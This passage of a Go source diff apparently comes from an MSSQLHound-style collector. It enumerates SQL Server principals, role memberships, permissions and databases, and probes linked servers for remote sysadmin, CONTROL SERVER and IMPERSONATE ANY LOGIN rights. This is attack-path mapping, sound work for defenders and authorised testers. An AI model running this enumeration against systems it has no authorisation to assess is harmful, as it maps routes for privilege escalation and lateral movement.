+ AND name LIKE '%' + CAST(SERVERPROPERTY('MachineName') AS VARCHAR(128)) + '$'
+ `
+
+ var computerSID sql.NullString
+ err := c.DBW().QueryRowContext(ctx, query).Scan(&computerSID)
+ if err == nil && computerSID.Valid && computerSID.String != "" {
+ // Convert hex SID to string format
+ sidStr := convertHexSIDToString(computerSID.String)
+ if sidStr != "" {
+ info.ComputerSID = sidStr
+ c.logVerbose("Found computer SID from computer account login: %s", sidStr)
+ return nil
+ }
+ }
+
+ // Method 2: Try to find any computer account login (ends with $)
+ query = `
+ SELECT TOP 1
+ CONVERT(VARCHAR(85), sid, 1) AS sid,
+ name
+ FROM sys.server_principals
+ WHERE type_desc = 'WINDOWS_LOGIN'
+ AND name LIKE '%$'
+ AND sid IS NOT NULL
+ AND LEN(CONVERT(VARCHAR(85), sid, 1)) > 10
+ ORDER BY principal_id
+ `
+
+ var sid, name sql.NullString
+ err = c.DBW().QueryRowContext(ctx, query).Scan(&sid, &name)
+ if err == nil && sid.Valid && sid.String != "" {
+ sidStr := convertHexSIDToString(sid.String)
+ if sidStr != "" && strings.HasPrefix(sidStr, "S-1-5-21-") {
+ // This is a domain computer account - extract domain SID and try to construct our computer SID
+ sidParts := strings.Split(sidStr, "-")
+ if len(sidParts) >= 8 {
+ // Domain SID is S-1-5-21-X-Y-Z (first 7 parts)
+ info.DomainSID = strings.Join(sidParts[:7], "-")
+ c.logVerbose("Found domain SID from computer account: %s", info.DomainSID)
+ }
+ }
+ }
+
+ // Method 3: Extract domain SID from any Windows login/group and use LDAP later for computer SID
+ if info.DomainSID == "" {
+ query = `
+ SELECT TOP 1
+ CONVERT(VARCHAR(85), sid, 1) AS sid,
+ name
+ FROM sys.server_principals
+ WHERE type_desc IN ('WINDOWS_LOGIN', 'WINDOWS_GROUP')
+ AND sid IS NOT NULL
+ AND LEN(CONVERT(VARCHAR(85), sid, 1)) > 10
+ ORDER BY principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err == nil {
+ defer rows.Close()
+ for rows.Next() {
+ var sid, name sql.NullString
+ if err := rows.Scan(&sid, &name); err != nil {
+ continue
+ }
+
+ if sid.Valid && sid.String != "" {
+ sidStr := convertHexSIDToString(sid.String)
+ if sidStr == "" || !strings.HasPrefix(sidStr, "S-1-5-21-") {
+ continue
+ }
+
+ // If it's a computer account (ends with $), use its SID directly
+ if strings.HasSuffix(name.String, "$") {
+ info.ComputerSID = sidStr
+ c.logVerbose("Found computer SID from alternate computer login: %s", sidStr)
+ return nil
+ }
+
+ // Extract domain SID from this principal
+ sidParts := strings.Split(sidStr, "-")
+ if len(sidParts) >= 8 {
+ info.DomainSID = strings.Join(sidParts[:7], "-")
+ c.logVerbose("Found domain SID from Windows principal %s: %s", name.String, info.DomainSID)
+ break
+ }
+ }
+ }
+ }
+ }
+
+ // If we have a domain SID, the collector will try to resolve the computer SID via LDAP
+ // For now, return an error so the caller knows to try LDAP resolution
+ if info.ComputerSID == "" {
+ if info.DomainSID != "" {
+ return fmt.Errorf("could not determine computer SID from SQL Server, will try LDAP (domain SID: %s)", info.DomainSID)
+ }
+ return fmt.Errorf("could not determine computer SID")
+ }
+
+ return nil
+}
+
+// collectServerPrincipals gets all server-level principals (logins and server roles)
+func (c *Client) collectServerPrincipals(ctx context.Context, serverInfo *types.ServerInfo) ([]types.ServerPrincipal, error) {
+ query := `
+ SELECT
+ p.principal_id,
+ p.name,
+ p.type_desc,
+ p.is_disabled,
+ p.is_fixed_role,
+ p.create_date,
+ p.modify_date,
+ p.default_database_name,
+ CONVERT(VARCHAR(85), p.sid, 1) AS sid,
+ p.owning_principal_id
+ FROM sys.server_principals p
+ WHERE p.type IN ('S', 'U', 'G', 'R', 'C', 'K')
+ ORDER BY p.principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var principals []types.ServerPrincipal
+
+ for rows.Next() {
+ var p types.ServerPrincipal
+ var defaultDB, sid sql.NullString
+ var owningPrincipalID sql.NullInt64
+ var isDisabled, isFixedRole sql.NullBool
+
+ err := rows.Scan(
+ &p.PrincipalID,
+ &p.Name,
+ &p.TypeDescription,
+ &isDisabled,
+ &isFixedRole,
+ &p.CreateDate,
+ &p.ModifyDate,
+ &defaultDB,
+ &sid,
+ &owningPrincipalID,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ p.IsDisabled = isDisabled.Bool
+ p.IsFixedRole = isFixedRole.Bool
+ p.DefaultDatabaseName = defaultDB.String
+ // Convert hex SID to standard S-1-5-21-... format
+ p.SecurityIdentifier = convertHexSIDToString(sid.String)
+ p.SQLServerName = serverInfo.SQLServerName
+
+ if owningPrincipalID.Valid {
+ p.OwningPrincipalID = int(owningPrincipalID.Int64)
+ }
+
+ // Determine if this is an AD principal
+ // Match PowerShell logic: must be WINDOWS_LOGIN or WINDOWS_GROUP, and name must contain backslash
+ // but NOT be NT SERVICE\*, NT AUTHORITY\*, BUILTIN\*, or MACHINENAME\*
+ isWindowsType := p.TypeDescription == "WINDOWS_LOGIN" || p.TypeDescription == "WINDOWS_GROUP"
+ hasBackslash := strings.Contains(p.Name, "\\")
+ isNTService := strings.HasPrefix(strings.ToUpper(p.Name), "NT SERVICE\\")
+ isNTAuthority := strings.HasPrefix(strings.ToUpper(p.Name), "NT AUTHORITY\\")
+ isBuiltin := strings.HasPrefix(strings.ToUpper(p.Name), "BUILTIN\\")
+ // Check if it's a local machine account (MACHINENAME\*)
+ machinePrefix := strings.ToUpper(serverInfo.Hostname) + "\\"
+ if strings.Contains(serverInfo.Hostname, ".") {
+ // Extract just the machine name from FQDN
+ machinePrefix = strings.ToUpper(strings.Split(serverInfo.Hostname, ".")[0]) + "\\"
+ }
+ isLocalMachine := strings.HasPrefix(strings.ToUpper(p.Name), machinePrefix)
+
+ p.IsActiveDirectoryPrincipal = isWindowsType && hasBackslash &&
+ !isNTService && !isNTAuthority && !isBuiltin && !isLocalMachine
+
+ // Generate object identifier: Name@ServerObjectIdentifier
+ p.ObjectIdentifier = fmt.Sprintf("%s@%s", p.Name, serverInfo.ObjectIdentifier)
+
+ principals = append(principals, p)
+ }
+
+ // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID
+ principalMap := make(map[int]*types.ServerPrincipal)
+ for i := range principals {
+ principalMap[principals[i].PrincipalID] = &principals[i]
+ }
+ for i := range principals {
+ if principals[i].OwningPrincipalID > 0 {
+ if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok {
+ principals[i].OwningObjectIdentifier = owner.ObjectIdentifier
+ }
+ }
+ }
+
+ // Get role memberships for each principal
+ if err := c.collectServerRoleMemberships(ctx, principals, serverInfo); err != nil {
+ return nil, err
+ }
+
+ // Get permissions for each principal
+ if err := c.collectServerPermissions(ctx, principals, serverInfo); err != nil {
+ return nil, err
+ }
+
+ return principals, nil
+}
+
+// collectServerRoleMemberships gets role memberships for server principals
+func (c *Client) collectServerRoleMemberships(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error {
+ query := `
+ SELECT
+ rm.member_principal_id,
+ rm.role_principal_id,
+ r.name AS role_name
+ FROM sys.server_role_members rm
+ JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ ORDER BY rm.member_principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build a map of principal ID to index for quick lookup
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var memberID, roleID int
+ var roleName string
+
+ if err := rows.Scan(&memberID, &roleID, &roleName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[memberID]; ok {
+ membership := types.RoleMembership{
+ ObjectIdentifier: fmt.Sprintf("%s@%s", roleName, serverInfo.ObjectIdentifier),
+ Name: roleName,
+ PrincipalID: roleID,
+ }
+ principals[idx].MemberOf = append(principals[idx].MemberOf, membership)
+ }
+
+ // Also track members for role principals
+ if idx, ok := principalMap[roleID]; ok {
+ memberName := ""
+ if memberIdx, ok := principalMap[memberID]; ok {
+ memberName = principals[memberIdx].Name
+ }
+ principals[idx].Members = append(principals[idx].Members, memberName)
+ }
+ }
+
+ // Add implicit public role membership for all logins
+ // SQL Server has implicit membership in public role for all logins
+ publicRoleOID := fmt.Sprintf("public@%s", serverInfo.ObjectIdentifier)
+ for i := range principals {
+ // Only add for login types, not for roles
+ if principals[i].TypeDescription != "SERVER_ROLE" {
+ // Check if already a member of public
+ hasPublic := false
+ for _, m := range principals[i].MemberOf {
+ if m.Name == "public" {
+ hasPublic = true
+ break
+ }
+ }
+ if !hasPublic {
+ membership := types.RoleMembership{
+ ObjectIdentifier: publicRoleOID,
+ Name: "public",
+ PrincipalID: 2, // public role always has principal_id = 2 at server level
+ }
+ principals[i].MemberOf = append(principals[i].MemberOf, membership)
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectServerPermissions gets explicit permissions for server principals
+func (c *Client) collectServerPermissions(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error {
+ query := `
+ SELECT
+ p.grantee_principal_id,
+ p.permission_name,
+ p.state_desc,
+ p.class_desc,
+ p.major_id,
+ COALESCE(pr.name, '') AS grantor_name
+ FROM sys.server_permissions p
+ LEFT JOIN sys.server_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'SERVER_PRINCIPAL'
+ WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY')
+ ORDER BY p.grantee_principal_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build a map of principal ID to index
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var granteeID, majorID int
+ var permName, stateDesc, classDesc, grantorName string
+
+ if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &grantorName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[granteeID]; ok {
+ perm := types.Permission{
+ Permission: permName,
+ State: stateDesc,
+ ClassDesc: classDesc,
+ }
+
+ // If permission is on a principal, set target info
+ if classDesc == "SERVER_PRINCIPAL" && majorID > 0 {
+ perm.TargetPrincipalID = majorID
+ perm.TargetName = grantorName
+ if targetIdx, ok := principalMap[majorID]; ok {
+ perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier
+ }
+ }
+
+ principals[idx].Permissions = append(principals[idx].Permissions, perm)
+ }
+ }
+
+ // Add predefined permissions for fixed server roles that aren't handled by createFixedRoleEdges
+ // These are implicit permissions that aren't stored in sys.server_permissions
+ // NOTE: sysadmin and securityadmin permissions are NOT added here because
+ // createFixedRoleEdges already handles edge creation for those roles by name
+ fixedServerRolePermissions := map[string][]string{
+ // sysadmin - handled by createFixedRoleEdges, don't add CONTROL SERVER here
+ // securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY LOGIN here
+ "##MS_LoginManager##": {"ALTER ANY LOGIN"},
+ "##MS_DatabaseConnector##": {"CONNECT ANY DATABASE"},
+ }
+
+ for i := range principals {
+ if principals[i].IsFixedRole {
+ if perms, ok := fixedServerRolePermissions[principals[i].Name]; ok {
+ for _, permName := range perms {
+ // Check if permission already exists (skip duplicates)
+ exists := false
+ for _, existingPerm := range principals[i].Permissions {
+ if existingPerm.Permission == permName {
+ exists = true
+ break
+ }
+ }
+ if !exists {
+ perm := types.Permission{
+ Permission: permName,
+ State: "GRANT",
+ ClassDesc: "SERVER",
+ }
+ principals[i].Permissions = append(principals[i].Permissions, perm)
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectDatabases gets all accessible databases and their principals
+func (c *Client) collectDatabases(ctx context.Context, serverInfo *types.ServerInfo) ([]types.Database, error) {
+ query := `
+ SELECT
+ d.database_id,
+ d.name,
+ d.owner_sid,
+ SUSER_SNAME(d.owner_sid) AS owner_name,
+ d.create_date,
+ d.compatibility_level,
+ d.collation_name,
+ d.is_read_only,
+ d.is_trustworthy_on,
+ d.is_encrypted
+ FROM sys.databases d
+ WHERE d.state = 0 -- ONLINE
+ ORDER BY d.database_id
+ `
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var databases []types.Database
+
+ for rows.Next() {
+ var db types.Database
+ var ownerSID []byte
+ var ownerName, collation sql.NullString
+
+ err := rows.Scan(
+ &db.DatabaseID,
+ &db.Name,
+ &ownerSID,
+ &ownerName,
+ &db.CreateDate,
+ &db.CompatibilityLevel,
+ &collation,
+ &db.IsReadOnly,
+ &db.IsTrustworthy,
+ &db.IsEncrypted,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ db.OwnerLoginName = ownerName.String
+ db.CollationName = collation.String
+ db.SQLServerName = serverInfo.SQLServerName
+ // Database ObjectIdentifier format: ServerObjectIdentifier\DatabaseName (like PowerShell)
+ db.ObjectIdentifier = fmt.Sprintf("%s\\%s", serverInfo.ObjectIdentifier, db.Name)
+
+ // Find owner principal ID
+ for _, p := range serverInfo.ServerPrincipals {
+ if p.Name == db.OwnerLoginName {
+ db.OwnerPrincipalID = p.PrincipalID
+ db.OwnerObjectIdentifier = p.ObjectIdentifier
+ break
+ }
+ }
+
+ databases = append(databases, db)
+ }
+
+ // Collect principals for each database
+ // Only keep databases where we successfully collected principals (matching PowerShell behavior)
+ var successfulDatabases []types.Database
+ for i := range databases {
+ c.logVerbose("Processing database: %s", databases[i].Name)
+ principals, err := c.collectDatabasePrincipals(ctx, &databases[i], serverInfo)
+ if err != nil {
+ fmt.Printf("Warning: failed to collect principals for database %s: %v\n", databases[i].Name, err)
+ // PowerShell doesn't add databases where it can't access principals,
+ // so we skip them here to match that behavior
+ continue
+ }
+ databases[i].DatabasePrincipals = principals
+ successfulDatabases = append(successfulDatabases, databases[i])
+ }
+
+ return successfulDatabases, nil
+}
+
+// collectDatabasePrincipals gets all principals in a specific database
+func (c *Client) collectDatabasePrincipals(ctx context.Context, db *types.Database, serverInfo *types.ServerInfo) ([]types.DatabasePrincipal, error) {
+ // Query all principals using fully-qualified table name
+ // The USE statement doesn't always work properly with go-mssqldb
+ query := fmt.Sprintf(`
+ SELECT
+ p.principal_id,
+ p.name,
+ p.type_desc,
+ ISNULL(p.create_date, '1900-01-01') as create_date,
+ ISNULL(p.modify_date, '1900-01-01') as modify_date,
+ ISNULL(p.is_fixed_role, 0) as is_fixed_role,
+ p.owning_principal_id,
+ p.default_schema_name,
+ p.sid
+ FROM [%s].sys.database_principals p
+ ORDER BY p.principal_id
+ `, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ var principals []types.DatabasePrincipal
+ for rows.Next() {
+ var p types.DatabasePrincipal
+ var owningPrincipalID sql.NullInt64
+ var defaultSchema sql.NullString
+ var sid []byte
+ var isFixedRole sql.NullBool
+
+ err := rows.Scan(
+ &p.PrincipalID,
+ &p.Name,
+ &p.TypeDescription,
+ &p.CreateDate,
+ &p.ModifyDate,
+ &isFixedRole,
+ &owningPrincipalID,
+ &defaultSchema,
+ &sid,
+ )
+ if err != nil {
+ return nil, err
+ }
+
+ p.IsFixedRole = isFixedRole.Bool
+ p.DefaultSchemaName = defaultSchema.String
+ p.DatabaseName = db.Name
+ p.SQLServerName = serverInfo.SQLServerName
+
+ if owningPrincipalID.Valid {
+ p.OwningPrincipalID = int(owningPrincipalID.Int64)
+ }
+
+ // Generate object identifier: Name@ServerObjectIdentifier\DatabaseName (like PowerShell)
+ p.ObjectIdentifier = fmt.Sprintf("%s@%s\\%s", p.Name, serverInfo.ObjectIdentifier, db.Name)
+
+ principals = append(principals, p)
+ }
+
+ // Link database users to server logins using SQL join (like PowerShell does)
+ // This is more accurate than name/SID matching
+ if err := c.linkDatabaseUsersToServerLogins(ctx, principals, db, serverInfo); err != nil {
+ // Non-fatal - continue without login mapping
+ fmt.Printf("Warning: failed to link database users to server logins for %s: %v\n", db.Name, err)
+ }
+
+ // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID
+ principalMap := make(map[int]*types.DatabasePrincipal)
+ for i := range principals {
+ principalMap[principals[i].PrincipalID] = &principals[i]
+ }
+ for i := range principals {
+ if principals[i].OwningPrincipalID > 0 {
+ if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok {
+ principals[i].OwningObjectIdentifier = owner.ObjectIdentifier
+ }
+ }
+ }
+
+ // Get role memberships
+ if err := c.collectDatabaseRoleMemberships(ctx, principals, db, serverInfo); err != nil {
+ return nil, err
+ }
+
+ // Get permissions
+ if err := c.collectDatabasePermissions(ctx, principals, db, serverInfo); err != nil {
+ return nil, err
+ }
+
+ return principals, nil
+}
+
+// linkDatabaseUsersToServerLogins links database users to their server logins using SID join
+// This is the same approach PowerShell uses and is more accurate than name matching
+func (c *Client) linkDatabaseUsersToServerLogins(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error {
+ // Build a map of server logins by principal_id for quick lookup
+ serverLoginMap := make(map[int]*types.ServerPrincipal)
+ for i := range serverInfo.ServerPrincipals {
+ serverLoginMap[serverInfo.ServerPrincipals[i].PrincipalID] = &serverInfo.ServerPrincipals[i]
+ }
+
+ // Query to join database principals to server principals by SID
+ query := fmt.Sprintf(`
+ SELECT
+ dp.principal_id AS db_principal_id,
+ sp.name AS server_login_name,
+ sp.principal_id AS server_principal_id
+ FROM [%s].sys.database_principals dp
+ JOIN sys.server_principals sp ON dp.sid = sp.sid
+ WHERE dp.sid IS NOT NULL
+ `, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build principal map by principal_id
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var dbPrincipalID, serverPrincipalID int
+ var serverLoginName string
+
+ if err := rows.Scan(&dbPrincipalID, &serverLoginName, &serverPrincipalID); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[dbPrincipalID]; ok {
+ // Get the server login's ObjectIdentifier
+ if serverLogin, ok := serverLoginMap[serverPrincipalID]; ok {
+ principals[idx].ServerLogin = &types.ServerLoginRef{
+ ObjectIdentifier: serverLogin.ObjectIdentifier,
+ Name: serverLoginName,
+ PrincipalID: serverPrincipalID,
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectDatabaseRoleMemberships gets role memberships for database principals
+func (c *Client) collectDatabaseRoleMemberships(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error {
+ query := fmt.Sprintf(`
+ SELECT
+ rm.member_principal_id,
+ rm.role_principal_id,
+ r.name AS role_name
+ FROM [%s].sys.database_role_members rm
+ JOIN [%s].sys.database_principals r ON rm.role_principal_id = r.principal_id
+ ORDER BY rm.member_principal_id
+ `, db.Name, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ // Build principal map
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var memberID, roleID int
+ var roleName string
+
+ if err := rows.Scan(&memberID, &roleID, &roleName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[memberID]; ok {
+ membership := types.RoleMembership{
+ ObjectIdentifier: fmt.Sprintf("%s@%s\\%s", roleName, serverInfo.ObjectIdentifier, db.Name),
+ Name: roleName,
+ PrincipalID: roleID,
+ }
+ principals[idx].MemberOf = append(principals[idx].MemberOf, membership)
+ }
+
+ // Track members for role principals
+ if idx, ok := principalMap[roleID]; ok {
+ memberName := ""
+ if memberIdx, ok := principalMap[memberID]; ok {
+ memberName = principals[memberIdx].Name
+ }
+ principals[idx].Members = append(principals[idx].Members, memberName)
+ }
+ }
+
+ // Add implicit public role membership for all database users
+ // SQL Server has implicit membership in public role for all database principals
+ publicRoleOID := fmt.Sprintf("public@%s\\%s", serverInfo.ObjectIdentifier, db.Name)
+ userTypes := map[string]bool{
+ "SQL_USER": true,
+ "WINDOWS_USER": true,
+ "WINDOWS_GROUP": true,
+ "ASYMMETRIC_KEY_MAPPED_USER": true,
+ "CERTIFICATE_MAPPED_USER": true,
+ "EXTERNAL_USER": true,
+ "EXTERNAL_GROUPS": true,
+ }
+ for i := range principals {
+ // Only add for user types, not for roles
+ if userTypes[principals[i].TypeDescription] {
+ // Check if already a member of public
+ hasPublic := false
+ for _, m := range principals[i].MemberOf {
+ if m.Name == "public" {
+ hasPublic = true
+ break
+ }
+ }
+ if !hasPublic {
+ membership := types.RoleMembership{
+ ObjectIdentifier: publicRoleOID,
+ Name: "public",
+ PrincipalID: 0, // public role always has principal_id = 0 at database level
+ }
+ principals[i].MemberOf = append(principals[i].MemberOf, membership)
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectDatabasePermissions gets explicit permissions for database principals
+func (c *Client) collectDatabasePermissions(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error {
+ query := fmt.Sprintf(`
+ SELECT
+ p.grantee_principal_id,
+ p.permission_name,
+ p.state_desc,
+ p.class_desc,
+ p.major_id,
+ COALESCE(pr.name, '') AS target_name
+ FROM [%s].sys.database_permissions p
+ LEFT JOIN [%s].sys.database_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'DATABASE_PRINCIPAL'
+ WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY')
+ ORDER BY p.grantee_principal_id
+ `, db.Name, db.Name)
+
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+
+ principalMap := make(map[int]int)
+ for i, p := range principals {
+ principalMap[p.PrincipalID] = i
+ }
+
+ for rows.Next() {
+ var granteeID, majorID int
+ var permName, stateDesc, classDesc, targetName string
+
+ if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &targetName); err != nil {
+ return err
+ }
+
+ if idx, ok := principalMap[granteeID]; ok {
+ perm := types.Permission{
+ Permission: permName,
+ State: stateDesc,
+ ClassDesc: classDesc,
+ }
+
+ if classDesc == "DATABASE_PRINCIPAL" && majorID > 0 {
+ perm.TargetPrincipalID = majorID
+ perm.TargetName = targetName
+ if targetIdx, ok := principalMap[majorID]; ok {
+ perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier
+ }
+ }
+
+ principals[idx].Permissions = append(principals[idx].Permissions, perm)
+ }
+ }
+
+ // Add predefined permissions for fixed database roles that aren't handled by createFixedRoleEdges
+ // These are implicit permissions that aren't stored in sys.database_permissions
+ // NOTE: db_owner and db_securityadmin permissions are NOT added here because
+ // createFixedRoleEdges already handles edge creation for those roles by name
+ fixedDatabaseRolePermissions := map[string][]string{
+ // db_owner - handled by createFixedRoleEdges, don't add CONTROL here
+ // db_securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY APPLICATION ROLE/ROLE here
+ }
+
+ for i := range principals {
+ if principals[i].IsFixedRole {
+ if perms, ok := fixedDatabaseRolePermissions[principals[i].Name]; ok {
+ for _, permName := range perms {
+ // Check if permission already exists (skip duplicates)
+ exists := false
+ for _, existingPerm := range principals[i].Permissions {
+ if existingPerm.Permission == permName {
+ exists = true
+ break
+ }
+ }
+ if !exists {
+ perm := types.Permission{
+ Permission: permName,
+ State: "GRANT",
+ ClassDesc: "DATABASE",
+ }
+ principals[i].Permissions = append(principals[i].Permissions, perm)
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// collectLinkedServers gets all linked server configurations with login mappings.
+// Each login mapping creates a separate LinkedServer entry (matching PowerShell behavior).
+func (c *Client) collectLinkedServers(ctx context.Context) ([]types.LinkedServer, error) {
+ // Use a single server-side SQL batch that recursively discovers linked servers
+ // through chained links, matching the PowerShell implementation.
+ // This discovers not just direct linked servers but also linked servers
+ // accessible through other linked servers (e.g., A -> B -> C).
+ query := `
+SET NOCOUNT ON;
+
+-- Create temp table for linked server discovery
+CREATE TABLE #mssqlhound_linked (
+ ID INT IDENTITY(1,1),
+ Level INT,
+ Path NVARCHAR(MAX),
+ SourceServer NVARCHAR(128),
+ LinkedServer NVARCHAR(128),
+ DataSource NVARCHAR(128),
+ Product NVARCHAR(128),
+ Provider NVARCHAR(128),
+ DataAccess BIT,
+ RPCOut BIT,
+ LocalLogin NVARCHAR(128),
+ UsesImpersonation BIT,
+ RemoteLogin NVARCHAR(128),
+ RemoteIsSysadmin BIT DEFAULT 0,
+ RemoteIsSecurityAdmin BIT DEFAULT 0,
+ RemoteCurrentLogin NVARCHAR(128),
+ RemoteIsMixedMode BIT DEFAULT 0,
+ RemoteHasControlServer BIT DEFAULT 0,
+ RemoteHasImpersonateAnyLogin BIT DEFAULT 0,
+ ErrorMsg NVARCHAR(MAX) NULL
+);
+
+-- Insert local server's linked servers (Level 0)
+INSERT INTO #mssqlhound_linked (Level, Path, SourceServer, LinkedServer, DataSource, Product, Provider, DataAccess, RPCOut,
+ LocalLogin, UsesImpersonation, RemoteLogin)
+SELECT
+ 0,
+ @@SERVERNAME + ' -> ' + s.name,
+ @@SERVERNAME,
+ s.name,
+ s.data_source,
+ s.product,
+ s.provider,
+ s.is_data_access_enabled,
+ s.is_rpc_out_enabled,
+ COALESCE(sp.name, 'All Logins'),
+ ll.uses_self_credential,
+ ll.remote_name
+FROM sys.servers s
+INNER JOIN sys.linked_logins ll ON s.server_id = ll.server_id
+LEFT JOIN sys.server_principals sp ON ll.local_principal_id = sp.principal_id
+WHERE s.is_linked = 1;
+
+-- Declare all variables upfront (T-SQL has batch-level scoping)
+DECLARE @CheckID INT, @CheckLinkedServer NVARCHAR(128);
+DECLARE @CheckSQL NVARCHAR(MAX);
+DECLARE @CheckSQL2 NVARCHAR(MAX);
+DECLARE @LinkedServer NVARCHAR(128), @Path NVARCHAR(MAX);
+DECLARE @sql NVARCHAR(MAX);
+DECLARE @CurrentLevel INT;
+DECLARE @MaxLevel INT;
+DECLARE @RowsToProcess INT;
+DECLARE @PrivilegeResults TABLE (
+ IsSysadmin INT,
+ IsSecurityAdmin INT,
+ CurrentLogin NVARCHAR(128),
+ IsMixedMode INT,
+ HasControlServer INT,
+ HasImpersonateAnyLogin INT
+);
+DECLARE @ProcessedServers TABLE (ServerName NVARCHAR(128));
+
+-- Check privileges for Level 0 entries
+
+DECLARE check_cursor CURSOR FOR
+SELECT ID, LinkedServer FROM #mssqlhound_linked WHERE Level = 0;
+
+OPEN check_cursor;
+FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer;
+
+WHILE @@FETCH_STATUS = 0
+BEGIN
+ DELETE FROM @PrivilegeResults;
+
+ BEGIN TRY
+ SET @CheckSQL = 'SELECT * FROM OPENQUERY([' + @CheckLinkedServer + '], ''
+ WITH RoleHierarchy AS (
+ SELECT
+ p.principal_id,
+ p.name AS principal_name,
+ CAST(p.name AS NVARCHAR(MAX)) AS path,
+ 0 AS level
+ FROM sys.server_principals p
+ WHERE p.name = SYSTEM_USER
+
+ UNION ALL
+
+ SELECT
+ r.principal_id,
+ r.name AS principal_name,
+ rh.path + '''' -> '''' + r.name,
+ rh.level + 1
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_role_members rm ON rm.member_principal_id = rh.principal_id
+ INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ WHERE rh.level < 10
+ ),
+ AllPermissions AS (
+ SELECT DISTINCT
+ sp.permission_name,
+ sp.state
+ FROM RoleHierarchy rh
+ INNER JOIN sys.server_permissions sp ON sp.grantee_principal_id = rh.principal_id
+ WHERE sp.state = ''''G''''
+ )
+ SELECT
+ IS_SRVROLEMEMBER(''''sysadmin'''') AS IsSysadmin,
+ IS_SRVROLEMEMBER(''''securityadmin'''') AS IsSecurityAdmin,
+ SYSTEM_USER AS CurrentLogin,
+ CASE SERVERPROPERTY(''''IsIntegratedSecurityOnly'''')
+ WHEN 1 THEN 0
+ WHEN 0 THEN 1
+ END AS IsMixedMode,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''CONTROL SERVER''''
+ ) THEN 1 ELSE 0 END AS HasControlServer,
+ CASE WHEN EXISTS (
+ SELECT 1 FROM AllPermissions
+ WHERE permission_name = ''''IMPERSONATE ANY LOGIN''''
+ ) THEN 1 ELSE 0 END AS HasImpersonateAnyLogin
+ '')';
+
+ INSERT INTO @PrivilegeResults
+ EXEC sp_executesql @CheckSQL;
+
+ UPDATE #mssqlhound_linked
+ SET RemoteIsSysadmin = (SELECT IsSysadmin FROM @PrivilegeResults),
+ RemoteIsSecurityAdmin = (SELECT IsSecurityAdmin FROM @PrivilegeResults),
+ RemoteCurrentLogin = (SELECT CurrentLogin FROM @PrivilegeResults),
+ RemoteIsMixedMode = (SELECT IsMixedMode FROM @PrivilegeResults),
+ RemoteHasControlServer = (SELECT HasControlServer FROM @PrivilegeResults),
+ RemoteHasImpersonateAnyLogin = (SELECT HasImpersonateAnyLogin FROM @PrivilegeResults)
+ WHERE ID = @CheckID;
+
+ END TRY
+ BEGIN CATCH
+ UPDATE #mssqlhound_linked
+ SET ErrorMsg = ERROR_MESSAGE()
+ WHERE ID = @CheckID;
+ END CATCH
+
+ FETCH NEXT FROM check_cursor INTO @CheckID, @CheckLinkedServer;
+END
+
+CLOSE check_cursor;
+DEALLOCATE check_cursor;
+
+-- Recursive discovery of chained linked servers
+SET @CurrentLevel = 0;
+SET @MaxLevel = 10;
